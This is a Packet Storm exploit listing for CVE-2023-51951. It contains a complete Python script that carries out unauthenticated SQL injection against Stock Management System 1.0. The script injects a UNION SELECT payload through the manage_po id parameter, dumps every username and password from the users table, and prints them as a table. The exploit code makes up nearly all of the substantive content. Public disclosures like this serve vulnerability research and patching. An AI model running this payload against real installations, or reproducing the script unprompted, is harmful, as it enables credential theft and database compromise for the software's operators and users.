what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Stock Management System 1.0 SQL Injection

Stock Management System 1.0 SQL Injection
Posted Apr 15, 2024
Authored by Josué Mier

Stock Management System version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2023-51951
SHA-256 | ee8f6806eb002eeb79308e1f582300e6c9e5c6963aed8ff7b5b730994fc80298

Stock Management System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Stock Management System v1.0 - Unauthenticated SQL Injection
# Date: February 6, 2024
# Exploit Author: Josué Mier (aka blu3ming) Security Researcher & Penetration Tester @wizlynx group
# Vendor Homepage: https://www.sourcecodester.com/php/15023/stock-management-system-phpoop-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/sms.zip
# Tested on: Linux and Windows, XAMPP
# CVE-2023-51951
# Vendor: oretnom23
# Version: v1.0
# Exploit Description:
# The web application Stock Management System is affected by an unauthenticated SQL Injection affecting Version 1.0, allowing remote attackers to dump the SQL database using an Error-Based Injection attack.

import requests
from bs4 import BeautifulSoup
import argparse

def print_header():
print("\033[1m\nStock Management System v1.0\033[0m")
print("\033[1mSQL Injection Exploit\033[0m")
print("\033[96mby blu3ming\n\033[0m")

def parse_response(target_url):
try:
target_response = requests.get(target_url)
soup = BeautifulSoup(target_response.text, 'html.parser')
textarea_text = soup.find('textarea', {'name': 'remarks', 'id': 'remarks'}).text

# Split the text using ',' as a delimiter
users = textarea_text.split(',')
for user in users:
# Split username and password using ':' as a delimiter
username, password = user.split(':')
print("| {:<20} | {:<40} |".format(username, password))
except:
print("No data could be retrieved. Try again.")

def retrieve_data(base_url):
target_path = '/sms/admin/?page=purchase_order/manage_po&id='
payload = "'+union+select+1,2,3,4,5,6,7,8,group_concat(username,0x3a,password),10,11,12,13+from+users--+-"

#Dump users table
target_url = base_url + target_path + payload
print("+----------------------+------------------------------------------+")
print("| {:<20} | {:<40} |".format("username", "password"))
print("+----------------------+------------------------------------------+")
parse_response(target_url)
print("+----------------------+------------------------------------------+\n")

if __name__ == "__main__":
about = 'Unauthenticated SQL Injection Exploit - Stock Management System'
parser = argparse.ArgumentParser(description=about)
parser.add_argument('--url', dest='base_url', required=True, help='Stock Management System URL')
args = parser.parse_args()
print_header()
retrieve_data(args.base_url)


Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close